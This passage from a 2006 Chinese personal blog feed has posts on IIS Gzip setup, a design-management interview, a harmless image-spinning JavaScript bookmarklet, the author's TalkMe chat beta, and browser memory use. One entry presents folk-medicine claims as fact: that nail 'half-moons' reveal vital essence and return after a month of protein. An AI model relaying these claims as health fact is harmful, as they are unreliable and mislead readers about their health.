	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=377" /> 
	  <id>http://www.openx.cn/default.asp?id=377</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[启用IIS的Gzip压缩功能]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-10-09T15:29:30+08:00</updated>
	  <published>2006-10-09T15:29:30+08:00</published>
		  <summary type="html"><![CDATA[<P>现代的浏览器IE6和Firefox都支持客户端Gzip，也就是说，在服务器上的网页，传输之前，先使用Gzip压缩再传输给客户端，客户端接收之后由浏览器解压显示，这样虽然稍微占用了一些服务器和客户端的CPU，但是换来的是更高的带宽利用率。对于纯文本来讲，压缩率是相当可观的。如果每个用户节约50%的带宽，那么你租用来的那点带宽就可以服务多一倍的客户了。</P>
<P>IIS6已经内建了Gzip压缩的支持，可惜，没有设置更好的管理界面。所以要打开这个选项，还要费些功夫。</P>
<P>首先，如果你需要压缩静态文件（HTML），需要在硬盘上建一个目录，并给它“IUSR_机器名”这个用户的写权限。如果压缩动态文件（PHP，asp，aspx）就不需要了，因为它的页面是每次都动态生成的，压缩完就放弃。然后在IIS管理器中，“网站”上面右键－属性，不是下面的某个站点，而是整个网站。进入“服务”标签，选上启用动态内容压缩，静态内容压缩。</P>
<P>然后选中网站下面那个服务器扩展，新建一个服务器扩展。名字无所谓，下面的添加文件的路径是：</P>
<P>c:\windows\system32\inetsrv\gzip.dll，然后启用这个扩展。</P>
<P>这时候静态内容是可以压缩的，但是对于动态内容，aspx文件却不在压缩范围内。因为默认的可压缩文件并没有这个扩展名。而管理界面中你又找不到可以增加扩展名的地方，这时候只能去修改它的配置文件了。</P>
<P>在c:\windows\system32\inetsrv\下面有个MetaBase.xml文件，可以用记事本打开，找到IIsCompressionScheme，有三个相同名字的段，分别是deflate,gzip,Parameters，第三段不用管它，前两段有基本相同的参数，在这两段的参数HcScriptFileExtensions下面都加上一行aspx，如果你有其它的动态程序要压缩，也加在这里。HcDynamicCompressionLevel改成9，（0－10，9是性价比最高的一个）。</P>
<P>然后需要重启一下IIS服务，就可以体会到压缩后的速度了。不过通常可能不会有太明显的感觉，可以用<A href="http://www.port80software.com/tools/compresscheck.asp">http://www.port80software.com/tools/compresscheck.asp</A>这个页面来检查你的网页是否压缩过了，以及压缩比和加快的速度。整个过程对CPU的占用基本上感觉不出来。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=376" /> 
	  <id>http://www.openx.cn/default.asp?id=376</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[设计师，你为什么经不起质疑？]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-10-09T11:03:04+08:00</updated>
	  <published>2006-10-09T11:03:04+08:00</published>
		  <summary type="html"><![CDATA[<P minmax_bound="true">作者：邱登科 出处：民营经济报</P>
<P minmax_bound="true">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在斯德哥尔摩蓝色市政大厅，一个颁发诺贝尔奖的地方，伊莱克斯全球工业设计大奖赛的颁奖典礼在这里举行。一个年轻的中国女子作为评委出现在主席台上，分外引人注目。<BR minmax_bound="true">黄蔚已经不是第一次登上如此耀眼的国际舞台，她是首位登上丹麦皇家讲坛的中国设计师，也是将国际设计管理理念引入中国的第一人。她这次出现在广州的身份是“红棉奖”-2006中国原创产品设计大赛评委会主席。“红棉奖”已经被业界公认为中国原创产品设计的最高奖项，作品征集和评选工作在她的领导下正紧张有序地展开。<BR minmax_bound="true">评奖间隙接受采访，对黄蔚来说是一件放松神经的事，所以她的设计管理理念在谈笑间就已经被演绎得淋漓尽致。</P>
<P minmax_bound="true">“设计，绝不是简单的美化”</P>
<P minmax_bound="true">“不管是专业的设计公司还是大型企业的设计部门，在甲方（项目委托方）或老板（另一种意义上的甲方）面前，往往经不起质疑，一质疑就往回缩，” 黄蔚对当下设计行业的抨击相当直接。<BR minmax_bound="true">设计师，你们为什么不能坚持？为什么如此不堪质疑？<BR minmax_bound="true">黄蔚一语道出了个中的秘密：“他们只会简单地把二维变成三维，他们说不出设计背后的故事。”<BR minmax_bound="true">在黄蔚看来，设计行业普遍缺失的是与甲方对话的本钱，他们没有能力去了解甲方真正的意图，他们不能切中要害的表达甲方希望表达的内涵，他们最终只能做一些表面的功夫。<BR minmax_bound="true">“看看这个茶壶，” 黄蔚随手拿起这家五星级宾馆茶厅里的一个茶壶，“看看这上面的花纹和图案，有必要吗？或者有，或者没有，设计师本人也说不出其中的所以然，当然不能说服甲方去接受了，最后勉强做成了这样的怪物。”<BR minmax_bound="true">这种现状让本来在设计界声誉雀起的黄蔚毅然改变了继续做一个设计师的想法，决定从设计管理入手来优化整个设计队伍和设计行业。于是便有了中国第一家设计管理公司——上海桥中设计咨询管理有限公司。</P>
<P minmax_bound="true">“差距在于延续性”</P>
<P minmax_bound="true">“我们不缺有灵感的家伙，披着长发故作深沉的设计师比比皆是。我们缺的是一种延续性。国产手机与国际大品牌之间的差距在于一种延续性，我们可能偶然能推出一款让人耳目一新的产品，而诺基亚的产品每一款都有来历和去路，每一个系列都有源源不断的替代产品，这种差距源于对设计产业的整体把握，也就是我们所执著的设计管理，” 黄蔚把她的工作提升到了整体产业水平的高度。<BR minmax_bound="true">黄蔚还直言不讳地表示，目前的中国设计行业是一个没有大师的时代。要造就出色的设计师，需要更多的时间的积累，但这种积累绝不是简单的叠加，而是需要一个个鲜活的案例来支撑。设计师们在创造设计的故事，这些故事能否像史诗那样传唱下去，那就要看设计师们能否从“灵机一动”中脱胎换骨，成为能够扎扎实实延续下去的历史。<BR minmax_bound="true">“红棉奖”生逢其时</P>
<P minmax_bound="true">黄蔚非常欣赏广州市政府能够有眼光举办广州国际设计周并进行“红棉奖”-2006中国原创产品设计大赛。<BR minmax_bound="true">黄蔚认为，目前以广州为代表的珠三角地区非常需要通过设计来提升整个制造业的自主创新水平，不能再停留在以简单的加工业水平上了。<BR minmax_bound="true">她还认为，目前珠三角地区的设计水平与上海和北京之间，开始有了一定的差距。她举例，日产汽车将最大的生产基地放在了广州，却把研发基地放在了上海，其中的主要原因是目前珠三角的设计能力不足以支撑其产业的后续发展。尤其是国际化水平，在上海，相当多的设计团队采用中外合壁的运作模式，而在珠三角，这种团队却是凤毛麟角。<BR minmax_bound="true">她表示非常高兴能够被主办方邀请担任“红棉奖”评委会主席，她希望通过这一奖项推动整个珠三角产业自主创新意识，迅速接轨国际化的设计产业理念。</P>
<P minmax_bound="true" lwg="ImageManager">附：黄蔚侧记<BR minmax_bound="true">作为国内设计界的知名人士，黄蔚女士通过在公共论坛、研讨会上发表演讲以及在高校开办讲座等活动建立了良好的业界声誉。同时她还组织和领导翻译众多设计研究案例成果，在专业领域发表过多篇论文。 <BR minmax_bound="true">她的设计实践能力在海尔集团设计中心(QHG)工作的期间初显锋芒：经选拔她东赴日本GK设计集团学习设计方法及管理，并将其运用于多种海尔产品的开发设计中。此后她受雇于美国通用电气GE/FITCH设计顾问有限公司，成为中国区的市场总监。任职期间，她获得了融合市场理解和设计专业知识的全新理念，并且积累了广泛而深厚的行业资源。<BR minmax_bound="true"></P>
<P align=center minmax_bound="true" lwg="ImageManager">[img]http://www.chinaui.com/manage/UpLoadFolder/Images/2006/0609/0929/shejishi.jpg[/img]</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=375" /> 
	  <id>http://www.openx.cn/default.asp?id=375</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[一个好玩又简单的脚本]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-10-09T09:39:21+08:00</updated>
	  <published>2006-10-09T09:39:21+08:00</published>
		  <summary type="html"><![CDATA[<P>javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);</P>
<P>吧上面的代码复制粘贴在URL上,看看发生了什么</P>
<P>看原文:http://www.digg.com/programming/Funky_JavaScript_works_on_all_websites_even_digg</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=374" /> 
	  <id>http://www.openx.cn/default.asp?id=374</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[国庆,看了一天连续剧~哈哈]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-10-01T21:58:04+08:00</updated>
	  <published>2006-10-01T21:58:04+08:00</published>
		  <summary type="html"><![CDATA[<P>今天国庆,我外公生日.</P>
<P>在舅舅家给外公祝寿.结果在那看了一天连续剧~连续看了不知道多少集.这才刚刚才回到家,哈哈!过瘾啊~好久没这么看的了后后.</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=373" /> 
	  <id>http://www.openx.cn/default.asp?id=373</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[周杰伦MV中的戒指。Justin Davis皇冠戒指，非一般的戒指，绝对让你心动.]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-30T14:46:38+08:00</updated>
	  <published>2006-09-30T14:46:38+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]http://xmz.3322.org/non-cgi/usr/5/5_375_27.jpg[/img]</P>
<P>[img]http://tw.image.bid.yahoo.com/users/1/9/0/9/guitar_hide21-img600x533-1130246613sv400017-11.jpg[/img]</P>
<P>[img]http://tw.image.bid.yahoo.com/users/1/9/0/9/guitar_hide21-img600x559-1141751734sv4000271-4.jpg[/img]</P>
<P><STRONG><FONT size=4>周杰倫《依然范特西》--夜的第七章MV關鍵破案戒。</FONT></STRONG></P>
<P>[img]http://tw.image.bid.yahoo.com/users/1/9/0/9/guitar_hide21-img600x329-1158163579__40000611-7.jpg[/img]</P>
<P>[img]http://i53.ac.tpe.yahoo.com/users/1/9/0/9/guitar_hide21-img600x600-1158163580__4000101-10.jpg[/img]</P>
<P>[img]http://tw.image.bid.yahoo.com/users/1/9/0/9/guitar_hide21-img463x600-1146211908____0295-11.jpg[/img]</P>
<P>[img]http://tw.image.bid.yahoo.com/users/1/9/0/9/guitar_hide21-img600x591-1146211908____02471-9.jpg[/img]</P>
<P>[img]http://tw.image.bid.yahoo.com/users/1/9/0/9/guitar_hide21-img580x517-1146211909____0248-6.jpg[/img]</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=372" /> 
	  <id>http://www.openx.cn/default.asp?id=372</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[TalkMe!火热内测中!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=8" label="TalkMe" /> 
	  <updated>2006-09-29T13:57:16+08:00</updated>
	  <published>2006-09-29T13:57:16+08:00</published>
		  <summary type="html"><![CDATA[<DIV class=EC_RTE><A href="http://www.talkme.cn/Member/index.html" target=_blank>[img]http://www.talkme.cn/image/www.talkme.cnBETA.png[/img]</A></DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE>期待已久的TalkMe终于出炉啦.</DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE>欢迎大家登陆TalkMe进行测试.测试功能全部开放.</DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE>测试时间:<FONT color=#ff0000>2006年9月28日 00:00 到 2006年10 月31日 00:00</FONT></DIV>
<DIV class=EC_RTE><FONT color=#ff0000></FONT>&nbsp;</DIV>
<DIV class=EC_RTE><FONT color=#ff0000><FONT color=#000000>TalkMe:</FONT><A href="http://www.talkme.cn/" target=_blank>http://www.talkme.cn</A></FONT></DIV>
<DIV class=EC_RTE><FONT color=#ff0000></FONT>&nbsp;</DIV>
<DIV class=EC_RTE><FONT color=#ff0000><FONT color=#000000>客户端:</FONT><A href="http://www.talkme.cn/download/TalkMe1.0(BETA).exe" target=_blank><FONT color=#ff0033>http://www.talkme.cn/download/TalkMe1.0(BETA).exe</FONT></A></FONT></DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE>功能不断完善,完全绿色完全免费,占用资源小(客户端才8M,最小 700K)</DIV>
<DIV class=EC_RTE><IMG height=2 src="http://graphics.hotmail.com/greypixel.gif" width="100%" vspace=9></DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE>由于个人开发,时间跟精力上的安排,托了这么久.呼呼,实在是不好意思,实在是对不住一直以来都这么关注TalkMe的朋友们.</DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE>是你们的关注跟询问一次又一次然起了我继续开发TalkMe的激情 .</DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE>在这里我代表我个人还有TalkMe再一次的感谢大家.</DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE>我的文笔不好呵呵,也说不出啥啥啥的.</DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE>刚刚赶时间把第一期弄好,还有好多不足请大家多多发现提出,可以发邮件,或者发在论坛里面.</DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE>另外在第二期开发中将会有两个朋友加入开发,</DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE>他们是:<FONT color=#ff0000>Sanmoon(QQ:22866755),林子 (QQ:9683884)</FONT></DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE>很感谢他们两的支持呵呵.一起开发我相信TalkMe会变得更加强大完善的呵呵.</DIV>
<DIV class=EC_RTE>&nbsp;</DIV>
<DIV class=EC_RTE><IMG height=2 src="http://graphics.hotmail.com/greypixel.gif" width="100%" vspace=9></DIV>
<DIV class=EC_RTE>好了来吧,<A href="http://www.talkme.cn/" target=_blank><FONT face="Arial &#13;&#10;Black, Geneva, Arial, Sans-serif" color=#ff0000 size=4>www.talkme.cn</FONT></A> 欢迎大家.</DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=371" /> 
	  <id>http://www.openx.cn/default.asp?id=371</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[你注意过你的指甲么？]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-28T09:34:02+08:00</updated>
	  <published>2006-09-28T09:34:02+08:00</published>
		  <summary type="html"><![CDATA[<SPAN style="FONT-SIZE: 12px">（一）什么是半月痕 <BR><BR>在指甲下方五分之一处，出现一条白色弧形的痕迹，这就是半月痕，也有人称之为小太阳。 <BR><BR>指甲半月痕是阴阳经脉界线，是人体精气的代表，故也称为健康圈。 <BR><BR>半月痕的发育，要受营养、环境、身体素质的影响，当消化吸收功能久佳时， <BR><BR>半月痕就会模糊、减少，甚至消失。 <BR><BR>半月痕的状况，显示出人体健康状况的信息。 <BR><BR>（二）半月痕的作用 <BR><BR>中医学说： <BR><BR>气不耗归于肝为血，血不耗归于肾为精，精不耗归于骨为髓。 <BR><BR>这就是精髓的由来。精髓也是元气的所在。半月痕由于显示的信息正是精气的状况，可见其重要性。 <BR><BR>元气的作用： <BR><BR>1、濡养全身五脏六腑。 <BR><BR>2、推动五脏六腑气血的正常运行。 <BR><BR>3、抗御外邪（免疫功能）。 <BR><BR>4、长寿抗衰老物质。 <BR><BR>5、遗传物质。 <BR><BR>中医有句话：精足人壮，精弱人病，精少人老，精尽人死。 <BR><BR>由此可见，精髓元气的重要。在日常生活里，及时恢复精气神，保养好身体， <BR><BR>有利于我们的身体健康。当精力不足时，重要的补充首先是蛋白质。 <BR><BR>中医学说："精不足补之以味。" <BR><BR>这就是说，要补充蛋白质。优质蛋白质以中性为好，如奶类、蛋类、豆类、鱼类、黑色性食物（逢黑补肾）、种籽性食物、胚胎性食物等。坚持一个月以后，就可以看到半月痕出现了，显示精力得到一定的恢复。</SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=370" /> 
	  <id>http://www.openx.cn/default.asp?id=370</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[WEB2.0数据流少了,客户端内存占了]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-09-26T15:30:10+08:00</updated>
	  <published>2006-09-26T15:30:10+08:00</published>
		  <summary type="html"><![CDATA[<P>不知道搞web的同行有没有注意到,2.0的到来(其实都很早的技术了,可以话说无刷新聊天室的年代去了).</P>
<P>javascript的广泛应用,从代码中就可以看出好多开发人员没有合理的释放内存.</P>
<P>就拿webMSN跟webQQ做比较.</P>
<P>WEBMSN做的实在没话说,就是登陆时候有点慢,稳定跟内存使用情况都不错,而且界面跟桌面版的很接近,感觉就象用桌面版的差不多.</P>
<P>WEBQQ就不行了虽然登陆很快,但是有没有发现他一直在吃内存哦.</P>
<P>以下是WEBMSN跟WEBQQ使用的内存情况</P>
<P>[img]http://x.openx.cn/myfile/cxty/图片/webmsn.bmp[/img]</P>
<P>WEBMSN</P>
<P>[img]http://x.openx.cn/myfile/cxty/图片/webqq.bmp[/img]</P>
<P>WEBQQ</P>
<P>&nbsp;</P>
<P>很明显WEBMSN登陆列表后基本没动内存了(内存涨停在48928K)</P>
<P>WEBQQ就不一样了每秒都在吃内存(登陆列表后从31xxxK开始就不断增加了涨幅60K每秒),在开这不倒一小时估计内存就都吃光咯~</P>
<P>&nbsp;</P>
<P>PS:</P>
<P>刚刚光顾的给别人做测试了呵呵~</P>
<P>弄了一个自己TalkMe的内存使用情况</P>
<P>[img]http://x.openx.cn/myfile/cxty/图片/talkme.bmp[/img]</P>
<P>TalkMe的WEB端.</P>
<P>不错吧,才29091K后后,后面就涨停咯.</P>
<P>客户端我在Delphi代码里面有回收内存机制,基本会在8xxxK跟7xxK之间波动.活活!</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=369" /> 
	  <id>http://www.openx.cn/default.asp?id=369</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[我捏你的头!这个很可爱]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-26T13:39:17+08:00</updated>
	  <published>2006-09-26T13:39:17+08:00</published>
		  <summary type="html"><![CDATA[<P>发现一个相册很可爱</P>
<P>[img]http://static.flickr.com/89/221592877_df0f77c62b_t.jpg[/img]</P>
<P>[img]http://static.flickr.com/86/215824042_04129f330f_t.jpg[/img]</P>
<P>[img]http://static.flickr.com/60/213999579_f0a34b31b7_t.jpg[/img]</P>
<P>相册:http://www.flickr.com/groups/isquishyourhead/pool/</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=368" /> 
	  <id>http://www.openx.cn/default.asp?id=368</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[超级劲爆，1.6亿像素巨无霸级数码相机登场[转]]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-23T18:45:24+08:00</updated>
	  <published>2006-09-23T18:45:24+08:00</published>
		  <summary type="html"><![CDATA[<P>瑞士的seitz公司的巨无霸6x17数码相机就能达到这样的效果。该款相机明年初就会上市，售价27000至29000欧元。<BR></P>
<P>[img]http://www.beareyes.com.cn/2/lib/200609/21/273/1.JPG[/img]</P>
<P>[img]http://www.beareyes.com.cn/2/lib/200609/21/273/2.JPG[/img]</P>
<P>6x17可以拍出1.6亿像素的照片，分辨率21250X7500，48bit色深。由于采用类似扫描的数码后背技术，拍摄最高分辨率的图像需要耗时1秒，所以照片中那样的手持拍摄肯定不可能了。而该款相机的最高拍摄速度为1/20000秒。可以使用施奈德，Rodenstock，林哈夫，富士等名厂的大画幅镜头。由于一张最大分辨率未压缩图片体积达950MB，此相机的存储系统直接用了一台苹果Mac Mini，采用千兆网络连接。</P>
<P>[img]http://www.beareyes.com.cn/2/lib/200609/21/273/3.JPG[/img]</P>
<P>6x17肯定不是给业余客户使用的，对于专业摄影师来说，绝对是件利器。Seitz公司将在下周的Photokina展会上展出6x17.</P>
<P>&nbsp;</P>
<P>来源:http://bbs.tech.tom.com/forum/view_thread.php?forumid=148&threadid=47951</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=367" /> 
	  <id>http://www.openx.cn/default.asp?id=367</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[用USB接口直冲电池]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-23T18:31:29+08:00</updated>
	  <published>2006-09-23T18:31:29+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/1.jpg[/img]</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果家有电脑，有可充电的电池，那么可以扔掉充电器了。<BR><BR>　　Moixa公司日前推出一款名为“USBCELL”，从字面意思理解也跟USB有密切关系，没错，就是用USB通过接口充电。<BR><BR>　　如果你有台式电脑、笔记本、Xbox 360 或者 车载USB充电器，那么随时都可以给它充电。<BR><BR>　　一对两颗的售价是24美元，具体电池的容量和充电时间不详。</P>
<P>这个创意实在不错~省了充电器了~哈哈~不知道这样的电池寿命是怎么样的~一个24美元也就是近200大洋的咯哦~后后~<BR></P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/2.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/3.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/4.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/5.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/7.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/8.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/9.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/10.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/11.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/12.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/13.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/14.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/15.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/16.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/17.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/18.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/19.jpg[/img]</P>
<P>[img]http://x.openx.cn/myfile/cxty/%CD%BC%C6%AC/USB%B5%E7%B3%D8/20.jpg[/img]</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=366" /> 
	  <id>http://www.openx.cn/default.asp?id=366</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ChinaUI不会又被黑了吧~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-22T18:16:55+08:00</updated>
	  <published>2006-09-22T18:16:55+08:00</published>
		  <summary type="html"><![CDATA[<P>刚刚还看的好好的这下可好刷新一下砂都没了!</P>
<P>&nbsp;</P>
<P>又 "您未被授权查看该页" 呼呼!!!</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=365" /> 
	  <id>http://www.openx.cn/default.asp?id=365</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[不是美工，是设计！！]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-22T16:14:42+08:00</updated>
	  <published>2006-09-22T16:14:42+08:00</published>
		  <summary type="html"><![CDATA[<P>不是美工，是设计！！</P>
<DIV>似乎很多人都爱把从事设计行业的人称为美工，在做兼职的过程中我就听到过很多这样的话，兼职时做的事确实无可厚非，是简简单单的美工工作，虽说听着有些不爽，但我也不说什么了。一直很讨厌把设计说成是美工。</DIV>
<DIV>&nbsp;</DIV>
<DIV>详见:http://blog.sina.com.cn/u/48f239da010004br</DIV>
<DIV>&nbsp;</DIV>
<DIV>作者写的不错</DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=364" /> 
	  <id>http://www.openx.cn/default.asp?id=364</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[哇靠~居然快国庆了!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-20T21:45:31+08:00</updated>
	  <published>2006-09-20T21:45:31+08:00</published>
		  <summary type="html"><![CDATA[<P>下周过完就国庆啦~呀呀的怎么这么快哇!</P>
<P>国庆再去上海一趟.嘿嘿~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=363" /> 
	  <id>http://www.openx.cn/default.asp?id=363</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[使用Atlas简化客户端Ajax编程]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-20T16:22:30+08:00</updated>
	  <published>2006-09-20T16:22:30+08:00</published>
		  <summary type="html"><![CDATA[<DIV>
<P align=left>微软公司针对AJAX开发了一种称为Atlas的新技术，它允许浏览器随时随意紧密的与ASP.NET进行集成。在此专栏中，我们将阐述Atlas的构架已便于用户在开发工作中对Atlas有更好的理解。</P>
<P align=left><STRONG>什么是</STRONG><STRONG>Atlas</STRONG><STRONG>？</STRONG><STRONG></STRONG></P>
<P align=left>微软声称Atlas的目标在于服务器上将客户程序脚本集成到ASP.NET，以提供一个全面的开发平台。</P>
<P align=left>Atlas平台包含两部分：客户端部分和服务器部分。对客户端，它具有的特点是：</P>
<UL>
<LI><STRONG></STRONG>面向对象相容的Java语言API。<STRONG></STRONG>具有.NET开发经验的开发人员非常熟悉其面向对象设计。 
<LI>自动浏览器兼容。理论上可运行多个浏览器时不需要专门的代码。 
